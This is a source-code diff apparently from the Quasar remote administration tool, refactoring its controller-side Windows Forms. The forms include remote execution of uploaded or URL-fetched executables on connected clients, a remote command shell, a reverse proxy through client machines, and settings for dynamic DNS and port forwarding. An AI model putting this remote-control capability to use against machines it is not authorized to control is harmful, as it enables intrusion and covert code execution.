+ if (!txtURL.Text.StartsWith("http"))
+ txtURL.Text = "http://" + txtURL.Text;
+
+ handler.TaskHandler.StartProcessFromWeb(txtURL.Text, _isUpdate);
+ }
+ }
+ else
+ {
+ foreach (var handler in _remoteExecutionMessageHandlers)
+ {
+ handler.FileHandler.BeginUploadFile(txtPath.Text);
+ }
+ }
+ }
+
+ private void btnBrowse_Click(object sender, EventArgs e)
+ {
+ using (OpenFileDialog ofd = new OpenFileDialog())
+ {
+ ofd.Multiselect = false;
+ ofd.Filter = "Executable (*.exe)|*.exe";
+ if (ofd.ShowDialog() == DialogResult.OK)
+ {
+ txtPath.Text = Path.Combine(ofd.InitialDirectory, ofd.FileName);
+ }
+ }
+ }
+
+ private void radioLocalFile_CheckedChanged(object sender, EventArgs e)
+ {
+ groupLocalFile.Enabled = radioLocalFile.Checked;
+ groupURL.Enabled = !radioLocalFile.Checked;
+ }
+
+ private void radioURL_CheckedChanged(object sender, EventArgs e)
+ {
+ groupLocalFile.Enabled = !radioURL.Checked;
+ groupURL.Enabled = radioURL.Checked;
+ }
+
+ ///
+ /// Called whenever a file transfer gets updated.
+ ///
+ /// The message processor which raised the event.
+ /// The updated file transfer.
+ private void FileTransferUpdated(object sender, FileTransfer transfer)
+ {
+ for (var i = 0; i < lstTransfers.Items.Count; i++)
+ {
+ var handler = (RemoteExecutionMessageHandler) lstTransfers.Items[i].Tag;
+
+ if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
+ {
+ lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = transfer.Status;
+
+ if (transfer.Status == "Completed")
+ {
+ handler.TaskHandler.StartProcess(transfer.RemotePath, _isUpdate);
+ }
+ return;
+ }
+ }
+ }
+
+ // TODO: update documentation
+ ///
+ /// Sets the status of the file manager.
+ ///
+ /// The message handler which raised the event.
+ /// The new status.
+ private void SetStatusMessage(object sender, string message)
+ {
+ for (var i = 0; i < lstTransfers.Items.Count; i++)
+ {
+ var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag;
+
+ if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
+ {
+ lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = message;
+ return;
+ }
+ }
+ }
+
+ private void ProcessActionPerformed(object sender, ProcessAction action, bool result)
+ {
+ if (action != ProcessAction.Start) return;
+
+ for (var i = 0; i < lstTransfers.Items.Count; i++)
+ {
+ var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag;
+
+ if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler))
+ {
+ lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = result ? "Successfully started process" : "Failed to start process";
+ return;
+ }
+ }
+ }
+ }
+}
diff --git a/Server/Forms/FrmRemoteShell.resx b/Quasar.Server/Forms/FrmRemoteExecution.resx
similarity index 100%
rename from Server/Forms/FrmRemoteShell.resx
rename to Quasar.Server/Forms/FrmRemoteExecution.resx
diff --git a/Server/Forms/FrmRemoteShell.Designer.cs b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs
similarity index 99%
rename from Server/Forms/FrmRemoteShell.Designer.cs
rename to Quasar.Server/Forms/FrmRemoteShell.Designer.cs
index e00319653..ae2f3ac21 100644
--- a/Server/Forms/FrmRemoteShell.Designer.cs
+++ b/Quasar.Server/Forms/FrmRemoteShell.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmRemoteShell
{
@@ -84,8 +84,8 @@ private void InitializeComponent()
//
// FrmRemoteShell
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(637, 323);
this.Controls.Add(this.tableLayoutPanel);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
diff --git a/Quasar.Server/Forms/FrmRemoteShell.cs b/Quasar.Server/Forms/FrmRemoteShell.cs
new file mode 100644
index 000000000..7ca258535
--- /dev/null
+++ b/Quasar.Server/Forms/FrmRemoteShell.cs
@@ -0,0 +1,186 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Windows.Forms;
+using Quasar.Common.Messages;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Networking;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmRemoteShell : Form
+ {
+ ///
+ /// The client which can be used for the remote shell.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ public readonly RemoteShellHandler RemoteShellHandler;
+
+ ///
+ /// Holds the opened remote shell form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new remote shell form for the client or gets the current open form, if there exists one already.
+ ///
+ /// The client used for the remote shell form.
+ ///
+ /// Returns a new remote shell form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmRemoteShell CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmRemoteShell f = new FrmRemoteShell(client);
+ f.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, f);
+ return f;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the remote shell form.
+ public FrmRemoteShell(Client client)
+ {
+ _connectClient = client;
+ RemoteShellHandler = new RemoteShellHandler(client);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+
+ txtConsoleOutput.AppendText(">> Type 'exit' to close this session" + Environment.NewLine);
+ }
+
+ ///
+ /// Registers the remote shell message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ RemoteShellHandler.ProgressChanged += CommandOutput;
+ RemoteShellHandler.CommandError += CommandError;
+ MessageHandler.Register(RemoteShellHandler);
+ }
+
+ ///
+ /// Unregisters the remote shell message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(RemoteShellHandler);
+ RemoteShellHandler.ProgressChanged -= CommandOutput;
+ RemoteShellHandler.CommandError -= CommandError;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever the remote shell writes to stdout.
+ ///
+ /// The message processor which raised the event.
+ /// The output to write.
+ private void CommandOutput(object sender, string output)
+ {
+ txtConsoleOutput.SelectionColor = Color.WhiteSmoke;
+ txtConsoleOutput.AppendText(output);
+ }
+
+ ///
+ /// Called whenever the remote shell writes to stderr.
+ ///
+ /// The message processor which raised the event.
+ /// The error output to write.
+ private void CommandError(object sender, string output)
+ {
+ txtConsoleOutput.SelectionColor = Color.Red;
+ txtConsoleOutput.AppendText(output);
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ private void FrmRemoteShell_Load(object sender, EventArgs e)
+ {
+ this.DoubleBuffered = true;
+ this.Text = WindowHelper.GetWindowTitle("Remote Shell", _connectClient);
+ }
+
+ private void FrmRemoteShell_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ UnregisterMessageHandler();
+ if (_connectClient.Connected)
+ RemoteShellHandler.SendCommand("exit");
+ }
+
+ private void txtConsoleOutput_TextChanged(object sender, EventArgs e)
+ {
+ NativeMethodsHelper.ScrollToBottom(txtConsoleOutput.Handle);
+ }
+
+ private void txtConsoleInput_KeyDown(object sender, KeyEventArgs e)
+ {
+ if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(txtConsoleInput.Text.Trim()))
+ {
+ string input = txtConsoleInput.Text.TrimStart(' ', ' ').TrimEnd(' ', ' ');
+ txtConsoleInput.Text = string.Empty;
+
+ // Split based on the space key.
+ string[] splitSpaceInput = input.Split(' ');
+ // Split based on the null key.
+ string[] splitNullInput = input.Split(' ');
+
+ // We have an exit command.
+ if (input == "exit" ||
+ ((splitSpaceInput.Length > 0) && splitSpaceInput[0] == "exit") ||
+ ((splitNullInput.Length > 0) && splitNullInput[0] == "exit"))
+ {
+ this.Close();
+ }
+ else
+ {
+ switch (input)
+ {
+ case "cls":
+ txtConsoleOutput.Text = string.Empty;
+ break;
+ default:
+ RemoteShellHandler.SendCommand(input);
+ break;
+ }
+ }
+
+ e.Handled = true;
+ e.SuppressKeyPress = true;
+ }
+ }
+
+ private void txtConsoleOutput_KeyPress(object sender, KeyPressEventArgs e)
+ {
+ if (e.KeyChar != (char) 2)
+ {
+ txtConsoleInput.Text += e.KeyChar.ToString();
+ txtConsoleInput.Focus();
+ txtConsoleInput.SelectionStart = txtConsoleOutput.TextLength;
+ txtConsoleInput.ScrollToCaret();
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Server/Forms/FrmSettings.resx b/Quasar.Server/Forms/FrmRemoteShell.resx
similarity index 100%
rename from Server/Forms/FrmSettings.resx
rename to Quasar.Server/Forms/FrmRemoteShell.resx
diff --git a/Server/Forms/FrmReverseProxy.Designer.cs b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs
similarity index 98%
rename from Server/Forms/FrmReverseProxy.Designer.cs
rename to Quasar.Server/Forms/FrmReverseProxy.Designer.cs
index 94a52c8b3..bcde0caf2 100644
--- a/Server/Forms/FrmReverseProxy.Designer.cs
+++ b/Quasar.Server/Forms/FrmReverseProxy.Designer.cs
@@ -1,6 +1,6 @@
-using xServer.Controls;
+using Quasar.Server.Controls;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmReverseProxy
{
@@ -43,7 +43,7 @@ private void InitializeComponent()
this.lblProxyInfo = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.lblLoadBalance = new System.Windows.Forms.Label();
- this.lstConnections = new xServer.Controls.AeroListView();
+ this.lstConnections = new AeroListView();
this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@@ -235,8 +235,8 @@ private void InitializeComponent()
//
// FrmReverseProxy
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(777, 402);
this.Controls.Add(this.lblLoadBalance);
this.Controls.Add(this.label1);
diff --git a/Server/Forms/FrmReverseProxy.cs b/Quasar.Server/Forms/FrmReverseProxy.cs
similarity index 50%
rename from Server/Forms/FrmReverseProxy.cs
rename to Quasar.Server/Forms/FrmReverseProxy.cs
index 786ffaa8a..bebf29266 100644
--- a/Server/Forms/FrmReverseProxy.cs
+++ b/Quasar.Server/Forms/FrmReverseProxy.cs
@@ -1,32 +1,79 @@
-using System;
+using Quasar.Common.Helpers;
+using Quasar.Common.Messages;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Models;
+using Quasar.Server.Networking;
+using Quasar.Server.ReverseProxy;
+using System;
using System.Globalization;
using System.Net.Sockets;
using System.Windows.Forms;
-using xServer.Core.Data;
-using xServer.Core.ReverseProxy;
-using xServer.Core.Helper;
-using xServer.Core.Networking;
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
public partial class FrmReverseProxy : Form
{
+ ///
+ /// The clients which can be used for the reverse proxy.
+ ///
private readonly Client[] _clients;
- private ReverseProxyServer SocksServer { get; set; }
+
+ ///
+ /// The message handler for handling the communication with the clients.
+ ///
+ private readonly ReverseProxyHandler _reverseProxyHandler;
+
+ ///
+ /// The open reverse proxy connections.
+ ///
private ReverseProxyClient[] _openConnections;
- private Timer _refreshTimer;
+ ///
+ /// Initializes a new instance of the class using the given clients.
+ ///
+ /// The clients used for the reverse proxy form.
public FrmReverseProxy(Client[] clients)
{
this._clients = clients;
+ this._reverseProxyHandler = new ReverseProxyHandler(clients);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the reverse proxy message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ //_connectClient.ClientState += ClientDisconnected;
+ _reverseProxyHandler.ProgressChanged += ConnectionChanged;
+ MessageHandler.Register(_reverseProxyHandler);
+ }
+
+ ///
+ /// Unregisters the reverse proxy message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_reverseProxyHandler);
+ _reverseProxyHandler.ProgressChanged -= ConnectionChanged;
+ //_connectClient.ClientState -= ClientDisconnected;
+ }
- foreach (Client c in clients)
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ /// TODO: Handle disconnected clients
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
{
- if (c == null || c.Value == null) continue;
- c.Value.FrmProxy = this;
+ this.Invoke((MethodInvoker)this.Close);
}
-
- InitializeComponent();
}
private void FrmReverseProxy_Load(object sender, EventArgs e)
@@ -44,6 +91,24 @@ private void FrmReverseProxy_Load(object sender, EventArgs e)
nudServerPort.Value = Settings.ReverseProxyPort;
}
+ private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ Settings.ReverseProxyPort = GetPortSafe();
+ UnregisterMessageHandler();
+ _reverseProxyHandler.Dispose();
+ }
+
+ private void ConnectionChanged(object sender, ReverseProxyClient[] proxyClients)
+ {
+ lock (_reverseProxyHandler)
+ {
+ lstConnections.BeginUpdate();
+ _openConnections = proxyClients;
+ lstConnections.VirtualListSize = _openConnections.Length;
+ lstConnections.EndUpdate();
+ }
+ }
+
private void btnStart_Click(object sender, EventArgs e)
{
try
@@ -57,16 +122,8 @@ private void btnStart_Click(object sender, EventArgs e)
return;
}
- SocksServer = new ReverseProxyServer();
- SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
- SocksServer.OnUpdateConnection += socksServer_onUpdateConnection;
- SocksServer.StartServer(_clients, "0.0.0.0", port);
- ToggleButtons(true);
-
- _refreshTimer = new Timer();
- _refreshTimer.Tick += RefreshTimer_Tick;
- _refreshTimer.Interval = 100;
- _refreshTimer.Start();
+ _reverseProxyHandler.StartReverseProxyServer(port);
+ ToggleConfigurationButtons(true);
}
catch (SocketException ex)
{
@@ -76,88 +133,41 @@ private void btnStart_Click(object sender, EventArgs e)
}
else
{
- MessageBox.Show(
- string.Format(
- "An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues",
- ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ MessageBox.Show($"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}",
+ "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
- btnStop_Click(sender, null);
}
catch (Exception ex)
{
- MessageBox.Show(
- string.Format(
- "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues",
- ex.Message, Settings.RepositoryURL), "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
- btnStop_Click(sender, null);
+ MessageBox.Show($"An unexpected error occurred: {ex.Message}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
- void RefreshTimer_Tick(object sender, EventArgs e)
- {
- try
- {
- lock (SocksServer)
- {
- this._openConnections = SocksServer.OpenConnections;
- lstConnections.VirtualListSize = this._openConnections.Length;
- lstConnections.Refresh();
- }
- }
- catch { }
- }
-
+ ///
+ /// Safely gets the value from the and parses it as .
+ ///
+ /// The server port parsed as . Returns 0 on error.
private ushort GetPortSafe()
{
var portValue = nudServerPort.Value.ToString(CultureInfo.InvariantCulture);
- ushort port;
- return (!ushort.TryParse(portValue, out port)) ? (ushort)0 : port;
- }
-
- void socksServer_onUpdateConnection(ReverseProxyClient proxyClient)
- {
-
- }
-
- void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient)
- {
-
+ return (!ushort.TryParse(portValue, out ushort port)) ? (ushort)0 : port;
}
- private void ToggleButtons(bool t)
+ ///
+ /// Toggles the activatability of configuration controls.
+ ///
+ /// When set to true the configuration controls get enabled, otherwise they get disabled.
+ private void ToggleConfigurationButtons(bool started)
{
- btnStart.Enabled = !t;
- nudServerPort.Enabled = !t;
- btnStop.Enabled = t;
+ btnStart.Enabled = !started;
+ nudServerPort.Enabled = !started;
+ btnStop.Enabled = started;
}
private void btnStop_Click(object sender, EventArgs e)
{
- if (_refreshTimer != null)
- _refreshTimer.Stop();
- ToggleButtons(false);
- if (SocksServer != null)
- SocksServer.Stop();
-
- try
- {
- SocksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished;
- SocksServer.OnUpdateConnection -= socksServer_onUpdateConnection;
- }
- catch { }
- }
-
- private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e)
- {
- Settings.ReverseProxyPort = GetPortSafe();
- //Stop the proxy server if still active
- btnStop_Click(sender, null);
-
- for (int i = 0; i < _clients.Length; i++)
- {
- if (_clients[i] != null && _clients[i].Value != null)
- _clients[i].Value.FrmProxy = null;
- }
+ ToggleConfigurationButtons(false);
+ _reverseProxyHandler.StopReverseProxyServer();
}
private void nudServerPort_ValueChanged(object sender, EventArgs e)
@@ -167,7 +177,7 @@ private void nudServerPort_ValueChanged(object sender, EventArgs e)
private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e)
{
- lock (SocksServer)
+ lock (_reverseProxyHandler)
{
if (e.ItemIndex < _openConnections.Length)
{
@@ -179,8 +189,8 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte
connection.Client.Value.Country,
(connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer,
connection.TargetPort.ToString(),
- FileHelper.GetDataSize(connection.LengthReceived),
- FileHelper.GetDataSize(connection.LengthSent),
+ StringHelper.GetHumanReadableFileSize(connection.LengthReceived),
+ StringHelper.GetHumanReadableFileSize(connection.LengthSent),
connection.Type.ToString()
}) { Tag = connection };
}
@@ -189,11 +199,11 @@ private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualIte
private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e)
{
- lock (SocksServer)
+ lock (_reverseProxyHandler)
{
if (lstConnections.SelectedIndices.Count > 0)
{
- //copy the list, it could happen the suddenly the items de-select
+ //copy the list, it could happen that suddenly the items de-select
int[] items = new int[lstConnections.SelectedIndices.Count];
lstConnections.SelectedIndices.CopyTo(items, 0);
@@ -202,10 +212,7 @@ private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e)
if (index < _openConnections.Length)
{
ReverseProxyClient connection = _openConnections[index];
- if (connection != null)
- {
- connection.Disconnect();
- }
+ connection?.Disconnect();
}
}
}
diff --git a/Server/Forms/FrmStartupManager.resx b/Quasar.Server/Forms/FrmReverseProxy.resx
similarity index 100%
rename from Server/Forms/FrmStartupManager.resx
rename to Quasar.Server/Forms/FrmReverseProxy.resx
diff --git a/Server/Forms/FrmSettings.Designer.cs b/Quasar.Server/Forms/FrmSettings.Designer.cs
similarity index 83%
rename from Server/Forms/FrmSettings.Designer.cs
rename to Quasar.Server/Forms/FrmSettings.Designer.cs
index 85a495d39..abfae1a59 100644
--- a/Server/Forms/FrmSettings.Designer.cs
+++ b/Quasar.Server/Forms/FrmSettings.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmSettings
{
@@ -36,8 +36,6 @@ private void InitializeComponent()
this.chkPopup = new System.Windows.Forms.CheckBox();
this.btnListen = new System.Windows.Forms.Button();
this.btnCancel = new System.Windows.Forms.Button();
- this.lblPassword = new System.Windows.Forms.Label();
- this.txtPassword = new System.Windows.Forms.TextBox();
this.chkUseUpnp = new System.Windows.Forms.CheckBox();
this.chkShowTooltip = new System.Windows.Forms.CheckBox();
this.chkNoIPIntegration = new System.Windows.Forms.CheckBox();
@@ -48,15 +46,16 @@ private void InitializeComponent()
this.txtNoIPUser = new System.Windows.Forms.TextBox();
this.txtNoIPHost = new System.Windows.Forms.TextBox();
this.chkShowPassword = new System.Windows.Forms.CheckBox();
+ this.chkIPv6Support = new System.Windows.Forms.CheckBox();
((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit();
this.SuspendLayout();
//
// btnSave
//
- this.btnSave.Location = new System.Drawing.Point(227, 273);
+ this.btnSave.Location = new System.Drawing.Point(227, 298);
this.btnSave.Name = "btnSave";
this.btnSave.Size = new System.Drawing.Size(75, 23);
- this.btnSave.TabIndex = 18;
+ this.btnSave.TabIndex = 19;
this.btnSave.Text = "&Save";
this.btnSave.UseVisualStyleBackColor = true;
this.btnSave.Click += new System.EventHandler(this.btnSave_Click);
@@ -95,20 +94,20 @@ private void InitializeComponent()
// chkAutoListen
//
this.chkAutoListen.AutoSize = true;
- this.chkAutoListen.Location = new System.Drawing.Point(15, 63);
+ this.chkAutoListen.Location = new System.Drawing.Point(12, 68);
this.chkAutoListen.Name = "chkAutoListen";
this.chkAutoListen.Size = new System.Drawing.Size(222, 17);
- this.chkAutoListen.TabIndex = 5;
+ this.chkAutoListen.TabIndex = 6;
this.chkAutoListen.Text = "Listen for new connections on startup";
this.chkAutoListen.UseVisualStyleBackColor = true;
//
// chkPopup
//
this.chkPopup.AutoSize = true;
- this.chkPopup.Location = new System.Drawing.Point(15, 86);
+ this.chkPopup.Location = new System.Drawing.Point(12, 91);
this.chkPopup.Name = "chkPopup";
this.chkPopup.Size = new System.Drawing.Size(259, 17);
- this.chkPopup.TabIndex = 6;
+ this.chkPopup.TabIndex = 7;
this.chkPopup.Text = "Show popup notification on new connection";
this.chkPopup.UseVisualStyleBackColor = true;
//
@@ -124,58 +123,42 @@ private void InitializeComponent()
//
// btnCancel
//
- this.btnCancel.Location = new System.Drawing.Point(146, 273);
+ this.btnCancel.Location = new System.Drawing.Point(146, 298);
this.btnCancel.Name = "btnCancel";
this.btnCancel.Size = new System.Drawing.Size(75, 23);
- this.btnCancel.TabIndex = 17;
+ this.btnCancel.TabIndex = 18;
this.btnCancel.Text = "&Cancel";
this.btnCancel.UseVisualStyleBackColor = true;
this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click);
//
- // lblPassword
- //
- this.lblPassword.AutoSize = true;
- this.lblPassword.Location = new System.Drawing.Point(12, 38);
- this.lblPassword.Name = "lblPassword";
- this.lblPassword.Size = new System.Drawing.Size(59, 13);
- this.lblPassword.TabIndex = 3;
- this.lblPassword.Text = "Password:";
- //
- // txtPassword
- //
- this.txtPassword.Location = new System.Drawing.Point(111, 35);
- this.txtPassword.Name = "txtPassword";
- this.txtPassword.Size = new System.Drawing.Size(158, 22);
- this.txtPassword.TabIndex = 4;
- //
// chkUseUpnp
//
this.chkUseUpnp.AutoSize = true;
- this.chkUseUpnp.Location = new System.Drawing.Point(15, 109);
+ this.chkUseUpnp.Location = new System.Drawing.Point(12, 114);
this.chkUseUpnp.Name = "chkUseUpnp";
- this.chkUseUpnp.Size = new System.Drawing.Size(230, 17);
- this.chkUseUpnp.TabIndex = 7;
- this.chkUseUpnp.Text = "Try to automatically port forward (UPnP)";
+ this.chkUseUpnp.Size = new System.Drawing.Size(249, 17);
+ this.chkUseUpnp.TabIndex = 8;
+ this.chkUseUpnp.Text = "Try to automatically forward the port (UPnP)";
this.chkUseUpnp.UseVisualStyleBackColor = true;
//
// chkShowTooltip
//
this.chkShowTooltip.AutoSize = true;
- this.chkShowTooltip.Location = new System.Drawing.Point(15, 132);
+ this.chkShowTooltip.Location = new System.Drawing.Point(12, 137);
this.chkShowTooltip.Name = "chkShowTooltip";
this.chkShowTooltip.Size = new System.Drawing.Size(268, 17);
- this.chkShowTooltip.TabIndex = 8;
+ this.chkShowTooltip.TabIndex = 9;
this.chkShowTooltip.Text = "Show tooltip on client with system information";
this.chkShowTooltip.UseVisualStyleBackColor = true;
//
// chkNoIPIntegration
//
this.chkNoIPIntegration.AutoSize = true;
- this.chkNoIPIntegration.Location = new System.Drawing.Point(15, 155);
+ this.chkNoIPIntegration.Location = new System.Drawing.Point(12, 177);
this.chkNoIPIntegration.Name = "chkNoIPIntegration";
- this.chkNoIPIntegration.Size = new System.Drawing.Size(192, 17);
- this.chkNoIPIntegration.TabIndex = 9;
- this.chkNoIPIntegration.Text = "Activate No-Ip.com DNS Updater";
+ this.chkNoIPIntegration.Size = new System.Drawing.Size(187, 17);
+ this.chkNoIPIntegration.TabIndex = 10;
+ this.chkNoIPIntegration.Text = "Enable No-Ip.com DNS Updater";
this.chkNoIPIntegration.UseVisualStyleBackColor = true;
this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged);
//
@@ -183,73 +166,84 @@ private void InitializeComponent()
//
this.lblHost.AutoSize = true;
this.lblHost.Enabled = false;
- this.lblHost.Location = new System.Drawing.Point(33, 181);
+ this.lblHost.Location = new System.Drawing.Point(30, 203);
this.lblHost.Name = "lblHost";
this.lblHost.Size = new System.Drawing.Size(34, 13);
- this.lblHost.TabIndex = 10;
+ this.lblHost.TabIndex = 11;
this.lblHost.Text = "Host:";
//
// lblPass
//
this.lblPass.AutoSize = true;
this.lblPass.Enabled = false;
- this.lblPass.Location = new System.Drawing.Point(170, 209);
+ this.lblPass.Location = new System.Drawing.Point(167, 231);
this.lblPass.Name = "lblPass";
this.lblPass.Size = new System.Drawing.Size(32, 13);
- this.lblPass.TabIndex = 14;
+ this.lblPass.TabIndex = 15;
this.lblPass.Text = "Pass:";
//
// lblUser
//
this.lblUser.AutoSize = true;
this.lblUser.Enabled = false;
- this.lblUser.Location = new System.Drawing.Point(33, 209);
+ this.lblUser.Location = new System.Drawing.Point(30, 231);
this.lblUser.Name = "lblUser";
this.lblUser.Size = new System.Drawing.Size(32, 13);
- this.lblUser.TabIndex = 12;
+ this.lblUser.TabIndex = 13;
this.lblUser.Text = "Mail:";
//
// txtNoIPPass
//
this.txtNoIPPass.Enabled = false;
- this.txtNoIPPass.Location = new System.Drawing.Point(202, 206);
+ this.txtNoIPPass.Location = new System.Drawing.Point(199, 228);
this.txtNoIPPass.Name = "txtNoIPPass";
this.txtNoIPPass.Size = new System.Drawing.Size(100, 22);
- this.txtNoIPPass.TabIndex = 15;
+ this.txtNoIPPass.TabIndex = 16;
//
// txtNoIPUser
//
this.txtNoIPUser.Enabled = false;
- this.txtNoIPUser.Location = new System.Drawing.Point(73, 206);
+ this.txtNoIPUser.Location = new System.Drawing.Point(70, 228);
this.txtNoIPUser.Name = "txtNoIPUser";
this.txtNoIPUser.Size = new System.Drawing.Size(91, 22);
- this.txtNoIPUser.TabIndex = 13;
+ this.txtNoIPUser.TabIndex = 14;
//
// txtNoIPHost
//
this.txtNoIPHost.Enabled = false;
- this.txtNoIPHost.Location = new System.Drawing.Point(73, 178);
+ this.txtNoIPHost.Location = new System.Drawing.Point(70, 200);
this.txtNoIPHost.Name = "txtNoIPHost";
this.txtNoIPHost.Size = new System.Drawing.Size(229, 22);
- this.txtNoIPHost.TabIndex = 11;
+ this.txtNoIPHost.TabIndex = 12;
//
// chkShowPassword
//
this.chkShowPassword.AutoSize = true;
this.chkShowPassword.Enabled = false;
- this.chkShowPassword.Location = new System.Drawing.Point(195, 234);
+ this.chkShowPassword.Location = new System.Drawing.Point(192, 256);
this.chkShowPassword.Name = "chkShowPassword";
this.chkShowPassword.Size = new System.Drawing.Size(107, 17);
- this.chkShowPassword.TabIndex = 16;
+ this.chkShowPassword.TabIndex = 17;
this.chkShowPassword.Text = "Show Password";
this.chkShowPassword.UseVisualStyleBackColor = true;
this.chkShowPassword.CheckedChanged += new System.EventHandler(this.chkShowPassword_CheckedChanged);
//
+ // chkIPv6Support
+ //
+ this.chkIPv6Support.AutoSize = true;
+ this.chkIPv6Support.Location = new System.Drawing.Point(12, 45);
+ this.chkIPv6Support.Name = "chkIPv6Support";
+ this.chkIPv6Support.Size = new System.Drawing.Size(128, 17);
+ this.chkIPv6Support.TabIndex = 5;
+ this.chkIPv6Support.Text = "Enable IPv6 support";
+ this.chkIPv6Support.UseVisualStyleBackColor = true;
+ //
// FrmSettings
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.ClientSize = new System.Drawing.Size(314, 308);
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
+ this.ClientSize = new System.Drawing.Size(314, 333);
+ this.Controls.Add(this.chkIPv6Support);
this.Controls.Add(this.chkShowPassword);
this.Controls.Add(this.txtNoIPHost);
this.Controls.Add(this.txtNoIPUser);
@@ -260,8 +254,6 @@ private void InitializeComponent()
this.Controls.Add(this.chkNoIPIntegration);
this.Controls.Add(this.chkShowTooltip);
this.Controls.Add(this.chkUseUpnp);
